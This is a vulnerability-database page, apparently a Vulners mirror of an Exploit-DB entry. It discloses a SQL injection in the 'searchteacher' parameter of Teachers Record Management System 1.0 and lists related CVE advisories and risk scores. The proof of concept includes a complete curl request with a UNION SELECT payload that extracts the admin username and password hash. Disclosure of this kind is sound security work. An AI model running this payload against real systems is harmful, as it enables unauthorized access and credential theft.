Lucene search
+L

Teachers Record Management System 1.0 - 'searchteacher' SQL Injection (SQLi)

🗓️ 15 Feb 2021 00:00:00Reported by Soham BakoreType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 496 Views

Teachers Record Management System 1.0 - 'searchteacher' SQL Injection vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2021-26822
15 Feb 202121:15
–attackerkb
cnnvd
CNNVD
Teachers Record Management System SQL Injection Vulnerability
15 Feb 202100:00
–cnnvd
checkpoint_advisories
Check Point Advisories
Teachers Record Management System SQL Injection (CVE-2021-26822)
10 Mar 202100:00
–checkpoint_advisories
cve
CVE
CVE-2021-26822
15 Feb 202120:54
–cve
cvelist
Cvelist
CVE-2021-26822
15 Feb 202120:54
–cvelist
euvd
EUVD
EUVD-2021-13607
7 Oct 202500:30
–euvd
kitploit
Kitploit
CVE-mitre
24 Nov 202613:13
–kitploit
kitploit
Kitploit
CVE-nu11secur1ty
24 Nov 202606:55
–kitploit
kitploit
Kitploit
Windows10Exploits
24 Nov 202604:07
–kitploit
nvd
NVD
CVE-2021-26822
15 Feb 202121:15
–nvd
Rows per page
# Exploit Title: Teachers Record Management System 1.0 - 'searchteacher' SQL Injection
# Date: 13/02/2021
# Exploit Author: Soham Bakore, Nakul Ratti
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14399/teacher-record-system-phpmysql.html
# Version:1.0
# Tested on: latest version of Chrome, Firefox on Windows and Linux

--------------------------Proof of Concept-----------------------

1. Navigate to http://host/trms/
2. The "searchteacher" parameter in search-teacher.php is vulnerable to SQL
injection
3. Below curl request will display the admin username and password hash

------------------------Exploit request-----------------------------

curl -i -s -k -X $'POST' \
    -H $'Host: 192.168.1.13' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0' -H $'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'
-H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate'
-H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length:
130' -H $'Origin: http://192.168.1.17' -H $'DNT: 1' -H $'Connection: close'
-H $'Referer: http://192.168.1.13/trms/' -H $'Cookie:
PHPSESSID=t2lshgnjhov62o1s0q0iq331p9' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'PHPSESSID=t2lshgnjhov62o1s0q0iq331p9' \
    --data-binary
$'searchteacher=Arts\'+union+select+1,concat(\'Username:\',UserName),3,concat(\'Password:\',Password),5,6,7,8,9,10+from+tbladmin#&search='
\
    $'http://host/trms/search-teacher.php'

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 27.5
CVSS 3.19.8
EPSS0.0815
496